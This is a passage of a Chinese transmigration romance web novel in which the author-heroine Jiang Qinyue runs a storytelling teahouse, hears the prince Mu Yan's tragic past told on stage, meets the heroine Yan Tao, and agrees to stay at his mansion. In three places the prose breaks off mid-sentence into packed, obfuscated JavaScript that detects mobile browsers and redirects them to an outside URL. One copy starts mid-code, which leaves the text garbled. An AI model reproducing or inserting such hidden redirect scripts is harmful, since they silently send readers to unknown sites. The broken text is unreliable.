他接着说:“本该在庆功宴后回楚阳封地,陛下特许我长住京城,以便养病。但锦衣玉食的日子只会让人颓靡,有时候我反倒想做个山野农夫,日出而作日落而息,春种秋收夏耘冬藏,有希望有收获。” 十指不沾阳春水的富贵王爷还是把农民生活想得太美好,这个心愿只能下次把你安排进种田文当男主了,江沁月心中默道。 但是,什么叫“锦衣玉食的日子只会让人颓靡”?这话她可不爱听!别人羡慕不来的富贵,还让他陷入虚无主义了?! 似是看出她心中不服,穆衍道:“世人追名逐利,京城中权贵遍地走,太过靠近权力漩涡的中心,稍有不慎便会被吞噬其中,所谓的尊贵,并非没有代价。” 江沁月明白了他的意思,穆衍和他父王军功累累,手握兵权,之前在宗室中可谓是最显赫的一脉,这样必然会引来帝王的猜忌。 但这个问题随着他的重病迎刃而解了……皇帝不必再担心他起异心,也定不会薄待他这位陨落的将星。 “好像说得有点太多了…江姑娘是聪明人,定然明白其中道理,”穆衍道,“总之,我以后大概只能当个闲散王爷了。” “所以我希望江姑娘的故事可以一直讲下去,我这个闲人定会日日来捧场。” 江沁月抱臂看他,半开玩笑道:“殿下怪会取笑我,如果真的喜欢听我讲,前几日怎么不站在窗前看我,给我扔些打赏呀?” 穆衍向她逼近一步,俯身在她耳边轻笑道:“江姑娘怎么知道,我没有在看你呢?” 他比她高出大半个头,倾身靠近时莫名带来一些压迫感,江沁月不由得后退一步,后背撞上了窗沿。 窗户本就是虚掩着,她这一撞便把窗户碰得大开,江沁月一下子失了重心,眼看就要摔下去。 三楼虽然应该不至于摔死,但恐怕也难免断胳膊断腿,不知道玉方能不能治好,不会落下残疾吧? 她本能地伸手想抓住什么东西,却感觉到一只手有力地揽住自己的腰,将她捞了回去。 穆衍的动作及时又稳当,另一只手还顺带干净利落地关上了窗。 江沁月被他环在身前,二人此刻的距离无比贴近,她甚至能闻到穆衍身上淡淡的药味,一时有些无所适从。 好在穆衍及时放开了她,主动退后两步拉开了距离。 “你没事吧?”穆衍关切地问道。 江沁月心有余悸,摇摇头表示自己无碍。 二人相顾无言,气氛一时间有些尴尬。 江沁月本想找个由头先走,却见穆衍从袖中摸出一个锦囊,向她抛了过来。 她连忙接住,这锦囊小巧精致,却被塞得鼓鼓囊囊,拿在手里沉甸甸的。 “这是什么?” “迟来的打赏……”穆衍本想让她回去再看,但江沁月已经麻利地打开了。 “我靠!”江沁月被满满一袋金叶子闪瞎了眼,不由得发出一声不属于这个时代的惊呼。 “殿下没开玩笑吗?这一袋都是打赏?”她抬眼看他,眼神中写满了不敢相信。 穆衍点点头,笑着说:“一些小玩意罢了,既然是打赏,那本王愿意给多少就给多少。千金难买心头好,江姑娘的故事值得。” 江沁月也点点头,故作淡定地道了谢,将锦囊揣好,礼貌地先行告退。 回去的路上她在心中默默盘算,按照现代的金价换算,这些金叶子能抵她多少个月的工资? 有言是福无双至,祸不单行,这话到了江沁月这,就得倒过来讲,她穿书之后可谓是财运亨通。 故事妙,茶点好,新生意如火如荼,不知不觉也开展了一月有余,赵昭兰按照约定结了上月工钱,将五成收益分给了她。 这白花花的银两相当可观,但与那袋金叶子相比,只能算是九牛一毛了。 不过江沁月依然眉开眼笑,在古代可比在现代打工来钱快多了,这真金白银拿在手上踏实的感觉,也好过银行卡里冰冷又可怜的数字。 她从毕业工作的第一天起,最大的理想就是早日攒够钱躺平退休,这份在现代的奢望,似乎可以在这个世界实现了。 有灵感时写写书,无聊了便去游山玩水,好不惬意……江沁月畅想着未来,又想起了过去。 穆衍没有说错,她很喜欢讲故事,她还记得刚上高中那会儿,她满怀憧憬地执笔,在笔记本上一笔一画,用稚嫩的笔触写下她的第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156640|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个故事。 笔记本如同某个机密情报,在班级中相互传阅并广受好评,女孩子们常围着她,叽叽喳喳地催促她更新后续。 在同学们的热情支持下,江沁月完成了自己的第一本“连载小说”,那个满载回忆的笔记本,至今还被她好好收在书柜里。 后来课业日渐繁重,家里突遭变故,父亲生意失败,欠了不少钱,虽然父母在她面前表现得云淡风轻,但她心里明白,家里的情况不容乐观。 上了大学后她开始在网站上写小说,小有名气后挣了不少稿费,她不再向家里要生活费,也帮着父母一起还债,在毕业前不久,总算是无债一身轻了。 上班后的日子是远超她预料的繁忙,她也无暇码字,连《东山起》的番外都来不及写,再然后就来了这里。 “沁月最近在忙什么呢?”一道声音在她背后幽幽响起。 江沁月被突然凭空出现在身后的漆桐吓了一跳,腾地站起身:“你是神仙还是女鬼啊?!别这么悄无声息地站人背后啊姐姐!吓死人了!” 漆桐自顾自地坐下,伸手拨了拨桌上散落的银两:“任务也不汇报,消息也不回,你该不会乐不思蜀,把任务抛却脑后了吧?” 江沁月气不打一处来,愤愤道:“我不说书卖艺想办法挣点钱,难道等着喝西北风吗?” “任务任务,你对这任务有什么头绪吗?我一刀捅死他算不算结局?” 毫无准备的穿越,身无分文的窘境,毫无作用的“系统”,江沁月的怒火熊熊燃烧。 “我知道你不会那样做,但还是请你慎言。”漆桐斜眼睨她,“在水镜里看你忙得不亦乐乎,你没忘了正事就好。” “你监视我!咳咳咳…”江沁月喉疾未愈,一激动就咳得惊天动地。 “你自己不回消息,我有什么办法?”漆桐满脸无辜,“你对我撒气也没用,我早说了,我们是一根绳上的蚂蚱。” “你嗓子还好吗?不管怎么样,还是要注意身体啊。”漆桐的神色流露出几分担忧。 江沁月缓和了语气:“我已经好多了,本来就在考虑转幕后的事,不会忘记任务的,你放心。” “不知道你监听到没有,我前两天旁敲侧击问了下,穆衍想要去种地,还想要世界和平。” “……”漆桐沉默片刻,拍拍她的肩鼓励道:“你可以试着努力一下,我支持你。” “怎么努力?” 漆桐道:“帮他假死脱身,归隐田园种地;或者你披甲上阵,带兵横扫西辽,天下归心,从此自然和平。” 听听这说的是人话吗? 漆桐毫不避开江沁月幽怨的眼神,狡辩道:“我只是根据你的情况提出一些可行方案,书里不都这样写吗?” 可行吗?江沁月懒得理她。 两人相互拌嘴,又东拉西扯了好一会儿。 “我在上面还忙着呢,怕你出事才好不容易抽空下来一趟,别赌气不回消息啊,我先走了。” 话音刚落,漆桐的身影便消失得无影无踪。 虽然漆桐不是凡人,但她身上并没有上界之人的疏离感,所以江沁月也没太把她当仙人看,心底里其实对她挺亲近的。 正如她自己所说,她是能跨越时间与空间的存在,她们目标一致,她是唯一知道自己来处的人。 漆桐总是来去匆匆,看来社畜不好当,神仙也不好做啊。 她来这一趟倒是提醒了江沁月,台前幕后,也是时候做出抉择了。 11. 缘浅命薄叹所失 经过这么些天的观察,江沁月还是十分认可林三的业务能力的。慕名前来的客人越来越多,邀月轩的下午茶在京城里算是彻底打响了名号。 虽然林三身上依旧疑点重重,但英雄不问出处,在用人方面,她与赵昭兰想法一致。 江沁月终于还是下定决心,不要给自己太大压力,安心做一条咸鱼。 钱不在多,够花就行。知足常乐,善莫大焉! 当然,她并不是打算直接撒手不管了,只是与林三分工合作,一人写一人讲,二人各有所长。 卸下说书的重担后,江沁月清闲了不少,写书之余,也常去前楼听书,给林三当监工顺便看看反响如何。 穆衍也习惯了听书时身边还有个人叽叽喳喳,她不来时反倒少了些意思。 “抱歉抱歉,有事耽搁了会儿,今天就来得晚了些。”临近开场时,江沁月才风风火火地闯了进来。 入冬至今,京城终于迎来了初雪,雪下得不大,落在身上便融化不见,她垂落的发丝被雪水濡湿,身上也沾染上了潮气。 江沁月掸了掸衣裳,刚一坐下,对面的穆衍便贴心地递来一方巾帕,让她擦干脸上和头发上的水气。 她道了谢,却在心里感慨,男二啊,永远温柔体贴,却总是被忽视的那一个。 台上的林三已经开讲,天气寒冷阴湿,今日来客不算多。 “在座各位冒着风雪前来捧场,想必是真心喜爱我们的故事,在下十分感谢。关上门咱们也算是一家人了,不如今日就来讲些其他隐秘的轶闻趣事?” 看来他是准备又要自由发挥了,江沁月对此已是习以为常。 但林三一开口便如石破天惊,她差点就想直接跳到台上去捂住他的嘴。 “今日我们不讲太子殿下的爱情佳话,我们来讲讲太子殿下的堂兄——襄王殿下。” “襄王殿下年轻有为,一战成名,看似风光无限,但他的经历也颇为坎坷曲折,诸位且听我细细道来……” 穆衍是十一岁那年,和母亲一起被接来了京城。 那时他父王奉命出征,颇具威望,皇帝自然对这个亲弟弟心生忌惮,将他们母子接入京城,是一种心照不宣的威慑。 穆衍自小长在楚阳,那里丰饶富庶,民风十分淳朴,无论是身为世子的他,还是其他当地士族家的公子小姐,亦或是其他百姓家的孩子,大家都能玩到一起。 骤然离家来到陌生的京城,毕竟还是个孩子,失去了玩伴的他倍感孤独。 而母亲一向体弱多病,舟车劳顿数日,到了京城后就病倒了。穆衍便乖巧地日日陪在她身边侍疾,没过几天,母亲也看出了他的百无聊赖。 “阿衍,来了京城也可以出去多交一些新朋友,不必每日守着我。”母亲摸了摸他的头,笑得很温柔。 但京城没那么容易交朋友,王府所在的这一片地方,都是关门闭户的显贵人家,不会像楚阳的街上那样,孩子们可以肆意地追逐玩闹。 他也去过附近的平民区,却没有人愿意和他玩,他不解地问为什么,那个落单的孩子却被大人一把拉走,匆匆离开。 “跟你说了不要招惹这些权贵人家的孩子!把人惹急了,你有几条命去赔?!”大人压低了声音呵斥自己的儿子,但穆衍还是清楚地听到了。 他悻悻然准备回王府,经过一条小巷时,听见里面传来压抑的哭声。 穆衍走过去查看,只见一个脏兮兮的和他差不多大的孩子,蜷缩在死胡同堆满杂物的角落里。 他身上的粗布衣服打满补丁,脖子上拴着一条手指粗的铁链,手脚上布满似是被抽打的伤痕或淤青。 穆衍解开铁链,问他被何人所伤,不等他答话,便看见旁边宅院里跑出来几个比他们年长一些的锦衣少年。 “他是我们的人,你是谁家的?别多管闲事!”为首的是当朝丞相的儿子李岱,他身后跟着几个其他京中高官的孩子。 “我是襄王世子穆衍,你们这样虐待他,怕是不妥。”穆衍道。 李岱嗤笑道:“我以为是谁呢,沾点皇亲就想在我面前耍威风!果然是蛮夷之地来的,这么不懂规矩。” 楚阳虽与京城相隔千里,但无论如何也算不得蛮夷之地。 只是那时候李相在朝中如日中天,可谓一人之下万人之上,儿子李岱便也被惯得无法无天,谁都不放在眼里。 “李岱兄,好歹是个世子,给他留点面子。”旁边一人说着,神情却也没半分看得起穆衍的样子。 李岱不耐烦地说:“行了世子殿下,他和我们之间有些私怨,不劳你大驾,我们自己会处理的,你赶紧滚吧。” “我要带他走。”穆衍挡在那孩子身前,语气十分坚定。 李岱脸色一下子变得十分难看,正欲发作,身边的小跟班在他耳边说了几句话。 他沉吟片刻,耐着性子道:“你要带走他也可以,但别怪我没警告过你,敢跟我们抢东西,后果自负。” 穆衍没理他,带着那孩子带回了王府,让他洗澡换上干净衣服,还给了他最好的伤药。 那孩子说自己叫小胜,因为之前不小心惊了李岱的马,得罪了他,自那之后便常被李岱一伙人抓去虐打。 小胜家中贫苦,却兄弟姐妹众多,他不受父母疼爱,也不敢将此事告知,即便说了也无用,只能怪他自己不小心,得罪了不该得罪的人。 穆衍义愤填膺地说:“以后我可以保护你,你怕他们又来抓你的话,可以跟家里说一声,在王府住一段时间,他们再怎么猖狂,也不可能硬闯王府的。” 母亲知道这件事后,夸他是个正直善良的好孩子,也吩咐府中下人好好照顾小胜。 小胜在王府住了一段时间后回了家,隔三岔五地也会来王府找穆衍玩。 穆衍以为自己交到了入京后的第一个好朋友。 直到那天下午,小胜如往常一般来找他,却支支吾吾地说,想去外面玩。 穆衍不疑有他,和小胜一同出去,拐过几条七弯八绕的小巷后,他毫无防备地被人打晕。 醒来后,他发现自己被捆住手脚堵住嘴,关在阴暗逼仄的柴房里。 李岱一行人居高临下地围住他,像是一群围住猎物的恶狼,小胜畏畏缩缩地站在他们身后。 而他自己就是被诱饵引入陷阱的猎物。 穆衍被关在这里一天一夜,期间水米未进,被折磨得狼狈不堪。 终于李相发现了自家儿子干的蠢事,霎时间被吓得魂飞魄散,让人赶紧把世子放出来。 在穆衍沐浴更衣,终于饱餐一顿时,他听见了李岱鬼哭狼嚎响彻整个丞相府的惨叫声。 李相提着儿子的衣领,让他给穆衍下跪道歉,李岱死活不肯。 李相面子上挂不住,赔笑着说改日亲自到王府登门致歉。 “父王征战在外,母妃一向身体不好,我不想她为此事忧心。”穆衍拒绝了。 回王府后,家中已经乱成一锅粥,派了不少人出去悄悄寻他。 得知下人们对母亲暂时瞒下了他失踪一天一夜的事,他还是宽心不少。 穆衍决心隐瞒到底,对所有人只说是去朋友家玩得忘了时间,就借住了一晚上,以后不会这样任性了。 李岱几人下手阴毒,在他身上留下的伤痕都恰好被衣物遮住,他只得在晚上偷偷抹药,好长一段时间都被那噩梦般的经历扰得夜不能寐。 小胜害怕地来找他道歉,哭着说是李岱拿他家里人威胁他,逼他将穆衍引过去,他谁也得罪不起。 穆衍说自己不会对他怎么样,但他以后也不要再来王府了。 “阿衍,最近那个叫小胜的孩子,没再来王府玩了吗?”母亲见他又开始日日陪在自己身边,随口问了一句。 穆衍笑了笑:“小胜他搬家了,可能不太会来了……我多陪陪母妃也很好。” …… 江沁月听到这里时简直目瞪口呆,这京城权贵家的小孩是在搞什么霸凌小团体吗?一天天不是欺负皇子就是欺负世子,简直要反了天了! 她甚至怀疑这个故事的真实性,但若真如此好像也很合理? 儿时被朋友背叛留下了严重的心理阴影,从此便友情淡薄,对谁都客气温和,但对谁都不太亲近。 穆衍在《东山起》中,除了主角二人确实没有什么别的交好之人了,和主角的关系也是君子之交淡如水。 “他所经受的一切,不都是你亲自造成的吗?”江沁月又想起了漆桐的话,彼时听到这话的她十分不服,但如今越发觉得,穆衍的悲惨命运似乎与她脱不了干系。 万事万物皆有因果,或许是她织就了果,上天便为穆衍谱写了相应的因。 台上的林三正讲得兴起,说完襄王殿下的童年,便把后续也一股脑全讲完了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156641|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 婚约作废未婚妻被穆灼截胡、父母的相继离世、庆功宴上突发恶疾至今情况不明…… 最后他总结道:“我曾听一位高人说过,京城是有福的富贵之地,但无福之人反倒会被宏大的气运反噬。或许襄王殿下便是这般缘浅命薄之人,可惜可叹啊……” 你快闭嘴吧!江沁月在心中无力呐喊。 从林三开始讲之后,穆衍便没再说过一句话。江沁月一直在偷偷观察他,他脸上没什么表情,却又隐隐透露出几分阴郁。 漫长的沉默让房间里的空气都仿佛凝滞了几分,他此刻的心情一定很不好。 江沁月又在心里暗骂了几句林三,想着以后必须要限制一下他自由发挥的范围。 “殿下…”她小心翼翼地开口,“实在抱歉,我稿子里没写这些,他可能是从哪听了些只言片语,又自己添油加醋瞎编了一些,我代他向你道歉……” “他讲的都是真的。”穆衍轻声说,神情看不出喜怒。 “啊?”江沁月怔了一下。 “他说的那些事情,都是真实发生在我身上的,”穆衍回过神来望向她,“没什么需要道歉的,又不是什么机密要闻。” 他一双眼漆黑如墨,如黑曜石一般温润,却又似暗含了很多别的情绪,让人看不透。 江沁月摇摇头,赶紧起身准备下跪赔罪:“你的伤疤不该成为大家的茶余谈资,真的很抱歉让殿下再想起那些不愉快的事,我一定会好好教训他的。” “不是什么大事,你讲太子殿下的事都没这么顾虑,怎么轮到讲我就战战兢兢的?”穆衍赶紧扶住她,露出几分无奈的笑容。 “太子殿下没听到嘛,但殿下你可是一字不落地听完了……”而且穆衍的人生走向听起来可没那么让人愉快。 重新坐下后,江沁月正色道:“殿下,你有时候会不会觉得,老天对你不公平?” 穆衍也敛了神色:“今日我也是第一次,听见旁人对我的讲述,我好像确实很可怜,来了京城之后,我的人生就被‘失去’二字笼罩。” “失去了故乡,失去了朋友,失去了婚约,失去了亲人,失去了冲锋陷阵的机会,失去了健康的身体……” “我失去的太多,此时此刻回想起来,有些东西随风而去也罢,有些我拼命挽留却也抓不住。” “但这个问题我没法回答你,人生来被分为三六九等,这确实是苍天不公。但若由我说出这句话,似乎显得我太贪心了。” “一味向上看,做到了皇帝也不知足,犹觉老天薄待自己;而向下看,饥荒来时饿殍遍地,战争来时横尸千里,自己拥有的已胜过许多人。” 他的语气平静缓和,仿佛不是在说他自己。 江沁月静静地听他吐露心声,感觉好像离这个诞生于自己笔下却不甚熟悉的人更近了几分。 “江姑娘是不是觉得,我是那种养尊处优完全不知百姓疾苦的人?其实我都明白的。” “殿下明白,可其他身处高位的人不明白,普通人在他们眼中命如草芥,比如那个李岱。”江沁月说。 她不知道李岱,但李相在原书中也是个人物,他在朝堂叱诧风云多年,被主角打倒后贬为闲职,李家虽并未被连根拔起,现在却也大不如前了。 穆衍长叹一口气道:“善恶有报,我本就无心插手朝堂之事,如今只愿随性而活,珍惜眼前事,希望上天也能厚待我几分。” “不过如今的我,也没什么可再失去的了。” 这应当是他的肺腑之言,江沁月希望他能按自己喜欢的方式活下去,听他这话只觉得心酸又欣慰。 静默片刻,江沁月直截了当地问:“那殿下有什么心愿吗?” “江姑娘总问我有何心愿,莫非是神女下凡,我说了就可以替我实现愿望?”穆衍挑眉道。 神女可不能帮你实现愿望,比如某位油漆桶仙君。 “不是啦……是殿下上次给的打赏太多了,我觉得应该再回报殿下一点什么。”江沁月的神情十分认真。 穆衍也真心实意地笑了起来:“那这个愿望先暂时保留在这吧,我想到了再跟你说。” “好啊。”江沁月说着向他伸出了小指,穆衍不解其意。 江沁月便主动勾住了他的小指,又将二人拇指摁在一起盖了章。 “君子一言,驷马难追。”她笑眯眯地说,“这是一种约定。” 12. 眷侣佳话天下知 总算熬到了散场,江沁月带着想把林三暴打一顿的冲动,风风火火跑下楼,将他一把拉到小讲台的屏风后。 “哎哎哎轻点!怎么了?谁惹你生气了?”林三理了理被扯得皱巴巴的衣服,脸上写满了疑惑,不知道她怒从何来。 “还能有谁?我问你,你今天讲的什么?之前谁说自己知道什么该讲什么不该讲?”江沁月越说越恼火,伸手在他胳膊上猛掐了一下。 “痛痛痛!”林三捂着胳膊跳开几步,不服气地争辩道:“你说过我可以自由发挥的,而且这有什么不能讲的?” 江沁月咬牙切齿道:“我以为你的自由发挥,仅限于完善故事本身。” “襄王殿下也是跟故事有关的人嘛,最近坊间有很多关于他的传言,我恰巧知道一些他的事,就想着可以顺便讲一下嘛……” 林三接着说道:“而且襄王殿下一直在王府养病,又不可能知道我们讲了什么。” 那真是不好意思了,他本人就在楼上,而且一字不落地全听完了…… “万一被他知道了呢?你做事之前考虑一下后果行吗?”江沁月气得干瞪眼,她当然不能透露穆衍就在这里的消息。 “知道了也没什么,襄王殿下可是出了名的好脾气,不会怪罪的。”林三无所谓地耸耸肩。 “……”江沁月无言以对,好脾气难道就代表没脾气,伤疤能任人随便揭吗? 见她不作声,林三嘴角勾起一丝玩味的笑容:“而且你讲太子殿下的故事时就考虑后果了吗?太子殿下可没那么好脾气。” 江沁月强压下去一些的怒火“噌”地一下又蹿了起来,她可是亲妈作者!她当然知道穆灼是怎样的人!至少比林三更了解。 她懒得多费口舌,抬手准备给林三一些惨痛教训,他却早有提防,牢牢抓住了她的手。 江沁月挣了两下没挣脱,不假思索地一脚踹了过去,又被他灵巧地躲开了。 “罢了罢了,沁月,虽然我觉得这事讲了也没什么,但我们是合作者,从你的立场来看,确实是我没把握好这个度,以后再有这种事,我一定提前跟你商量。”林三正色道。 “这还差不多,”江沁月冷哼一声,终于抽回手,“没跟你开玩笑,以后说正事的时候正经点。” 林三连声说好,准备告辞回家,结果刚一放松警惕,冷不丁还是被江沁月补踹了一脚。 得手的江沁月心满意足,向他微笑挥手:“慢走不送哦。” 这段时间相处下来,江沁月和林三混得挺熟了,两人活脱脱处成了欢喜冤家,互相动手动脚已是常事。 穆衍站在楼上,隔得太远听不见他们说了什么,却将二人嬉笑怒骂拉拉扯扯的动作尽收眼底。 那个戴面具的说书人自称妙语花,穿得也是花里胡哨,衣服上缀着各式浮夸的金银宝石配饰,随着他的动作熠熠反光,晃晕了穆衍的眼。 看来他们的关系很好。 那他对江沁月而言,算什么呢? 或许只是碍于他的身份,她才一直无微不至地照顾他,陪他聊天解闷。 他不敢妄自定义,他与江沁月算不算朋友,但他私心里希望,以后还可以和她有交集。 …… 赵昭兰发现今日来了一位不寻常的客人,那是个极为漂亮的姑娘,看起来有些眼熟,或许是之前来邀月轩吃过饭的官家小姐? 散场已多时,一楼大堂里已是空荡荡,她却依旧坐得气定神闲,赵昭兰也不好开口赶人。 收拾好东西准备离开的林三也注意到了她,但也只瞄了两眼,没敢多问,毕竟前两天才被江沁月教训了,他可不想再乱惹麻烦。 然而对方开口叫住了他:“公子留步。” “这位客官,还有什么事吗?”林三皮笑肉不笑,好在面具挡住了他大半张脸。 “我听说之前是个姑娘在这里说书,如今又换成了公子,不知这故事出自何人手笔?” 林三不知道她问这些是有何用意,不敢贸然回答,瞟向赵昭兰那边,赵昭兰用眼神示意他如实作答。 “客官,这故事是以前那位妙笔生姑娘写的,她前不久病了,便又雇了我来,我们一人写一人讲。” 那姑娘点点头:“原来如此,不知妙笔生姑娘今日在楼中吗?我有事想找她。” “在,就在楼上……”林三毫不犹豫地接话,却感觉赵昭兰飞来一记眼刀,立马噤若寒蝉。 赵昭兰接话道:“客官稍等片刻,我上去叫她下来。” “不必这么麻烦,我跟赵老板一块上去吧。”她说着便要起身。 穆衍也在楼上,他当然不能被看见,这可如何是好?赵昭兰心急如焚,却想不出什么办法。 走到楼梯口时,她朝楼上大声喊道:“沁月!有客官找你,我这就带她上来!” 不管怎么样,先知会他们一声吧。 雅间里江沁月也完全没料到会有这种情况,好在房间里有个屏风,她让穆衍赶紧去后面躲着,顺便拿走了茶杯碗碟,假装这里只有她一个人。 听见脚步声已到了门外,江沁月主动拉开了门,看清赵昭兰身边之人后,不由得怔了一下。 这位姑娘的五官生得十分明艳动人,笑起来仿佛一朵盛开的牡丹花,叫人移不开眼。 直觉已经告诉她这是谁了,这般光彩,不会再有第二人。 赵昭兰将人带到就先下去了,两人坐下后,那姑娘主动先开了口。 “我就是姑娘故事中的女主角颜桃,妙笔生姑娘,很高兴见到你。”颜桃开门见山地自我介绍道。 “幸会幸会,在下本名江沁月,不知颜小姐找我所为何事?” 穿书之后这么久,终于见到了自己笔下的亲女儿,她的相貌气质与自己想象中如出一辙,江沁月心潮澎湃,欣慰与激动交织。 但激动归激动,她还是有些忐忑,怕万分之一的可能性是主角二人对说书之事不满,颜桃出面前来敲打她。 颜桃笑道:“不必这么客气,叫我的小字淑瑶就好。我和穆灼…太子殿下听闻邀月轩最近靠说书名声大噪,他平日里不便出来,我就自己过来一探究竟了。我觉得你们讲得很有意思。” 颜桃与穆灼相识于微时,二人之间从无尊卑之分,她私下里一向直呼其名。 前几日见面时,穆灼拜托她来邀月轩看看情况,当时他说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156642|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “淑瑶,我希望我们的故事可以流芳百世,成为千古佳话。” “太子殿下的意思是,他想把故事刊印成话本小说,嗯…不知沁月姐姐是否有这个意愿?”颜桃说着似乎有几分不好意思,脸颊微微泛起了两团红晕。 听见她甜甜地叫自己姐姐,江沁月的心都要融化了,亲女儿的提议,她自然不会拒绝。 同时她也悄悄松口气,果然如她所料,穆灼巴不得将他与颜桃的爱情故事昭告天下。 “我觉得可以,但我没有认识的书坊老板可以帮忙印刻出版……”应下此事简单,但操作起来有难度。 颜桃没想到她答应得这么爽快,忙不迭道:“此事不难办,襄王殿下名下有一间书坊,可以请他帮忙。只是他最近还在病中,之后我会去跟他说明此事的。” “另外,我们也会付给你相应的稿费,这个可以后面再商量,不会让你失望的。”颜桃补充道。 有钱赚自然是好事,但江沁月更担心另一件事,让男二帮忙出版男女主的爱情话本小说,真的没问题吗?穆衍是不是有点太工具人了? 而且他本尊就在这,不知听到这番对话该作何感想…… “我会帮忙的,淑瑶。” 穆衍直接从屏风后走了出来,江沁月怎么也想不到,书中的女主和男二会在此情此景齐聚一堂。 “殿下怎么在这里?”颜桃杏眼圆睁,脸上写满了诧异。 “发生了一点小意外,我这段时间暂住在邀月轩,不必担心,我很快就要回去了。”穆衍解释道。 颜桃欲言又止,想问到底发生了什么,却又不知道该不该问。 穆衍温声道:“此事说来话长,以后你会知道的。不过我在这里的事,请替我保密,不要跟任何人提起。” “好,那印刻出版之事,就麻烦殿下和沁月姐姐了。”又聊了一会儿后,颜桃起身准备离开。 “淑瑶!”就在她走到门口时,江沁月忍不住出声叫住了她。 “要是你愿意的话,可以常来邀月轩找我玩,有什么关于话本的新想法,也可以随时告诉我,毕竟你是故事的女主角嘛。” 颜桃笑着答应,说邀月轩的茶点也好吃,以后定会常来光顾。 许是亲笔塑造的女主角与自己的灵魂有所共鸣,二人一见如故,聊得十分投机。 江沁月忽然觉得,自己来这书中世界,也不算枉走一遭。 “江姑娘在想印书的事吗?”见她一直盯着门扉发呆,穆衍问道。 “没有,我只是觉得,淑瑶是个很好的姑娘。”江沁月回过神来,随口答道。 “江姑娘也是很好的姑娘。”穆衍笑着说。 虽然他看上去云淡风轻,但江沁月觉得他心里估计不太舒服。 “…殿下谬赞。”她犹豫了一下,还是试探性地问道,“京城中大大小小的书坊也有一些,印书这种事请殿下帮忙,会不会太麻烦了?” “小事一桩,谈不上麻烦。那间书坊是我父王的,规模虽大,却也闲置多年,正好派得上用场。”穆衍说。 “对了,我打算三日后回王府,这段时间承蒙江姑娘的照顾,救命之恩定不敢忘。” 13. 初入王府窥留白 “三日后?这么突然吗?”江沁月一下子有点慌了神,人都要走了,她的任务还八字没一撇。 “嗯,我的伤本就好得差不多了,这段时间实在多有叨扰。” “哦……”江沁月陷入了沉思,若是以后跟穆衍再无交集,这任务恐怕也无法开展了。 又或者其实她也不必做什么,只需看着穆衍继续他的人生,走向他自己选择的结局?但她总觉得穆衍对于生死看得太过淡然,这真的是好事吗? 穆衍自然不知道她在想些什么,但他也有自己的思虑。 他踌躇片刻,正色几分开口道:“江姑娘,我有一个不情之请,我想邀请你和我一同回王府,不知道江姑娘是否愿意?” 江沁月蓦地睁大双眼,这岂不是瞌睡来了递枕头?但这突如其来的邀请感觉十分古怪,她迫不及待地答应就更奇怪了。 穆衍也意识到这话有些唐突,忙解释道:“淑瑶所托之事,需要你我二人合力完成,书坊毗邻王府,但与邀月轩相距甚远,江姑娘若住在王府,也能方便许多。” “而且江姑娘这段时间照拂我甚多,我愿盛情款待,以答谢恩情。” 听起来很合理,江沁月也准备顺水推舟地同意,但是…… “唔…我是没问题,但我得知会昭兰姐他们一声,有些事情也得交接一下。” …… “原来那位姑娘是颜小姐。”听江沁月讲了一通,赵昭兰恍然大悟。 “昭兰姐,之前我们不是说好,收益你拿四成,我和林三各拿三成嘛。” 赵昭兰点点头,这是江沁月转幕后时,她们与林三一起重新商定的分配方式。 “以后我的工钱,拜托昭兰姐替我收着就好,我用不了那么多,也懒得打理。” “好,姐姐我替你收着,你需要的时候随时来取。”赵昭兰答应了。 大概不会有来取的时候了,自己在这个世界总归是过客,这些钱她就是想全留给赵昭兰。 虽然财大气粗的赵老板肯定不缺钱,但她是自己穿越后认识的第一个朋友,在自己初来乍到最为窘迫时帮了自己太多,她总想回报些什么。 三日后的清晨,王府的马车静静停在小院门前,赵昭兰与青玉方前来送行。 江沁月的包袱很简单,毕竟她来到这里时本就一无所有。 赵昭兰将一大包衣服首饰塞给她:“这些你都拿去吧,女孩子要打扮得漂漂亮亮的。” 青玉方将一袋瓶瓶罐罐递到她手中:“一些常用药,功效我都贴了标签,你拿着应急吧。” 儿行千里母担忧,江沁月脑子里突然蹦出这么一句话——虽然她只是前往京城另一端的襄王府。 “还有,大冷天千万再不要穿得像之前那样单薄了。”赵昭兰补充道。 青玉方点头附和:“我也快离开京城了,你要好好保重身体,殿下也是。” 说到最后她转头看了穆衍一眼。 穆衍笑着说:“我会保重的,二位不必这么担心,王府中衣食住行一应俱全,江姑娘于我有恩,是王府的贵客。这段时间也承蒙二位关照,明日我会让人送谢礼来。” “等等!玉方,你也要走了吗?什么时候?”江沁月有些惊讶。 “年前吧,在京城呆得够久了。”青玉方说。 穆衍道:“青神医若是愿意的话,我可以引荐你进太医院,我相信以神医的本领,一定能出人头地的。” 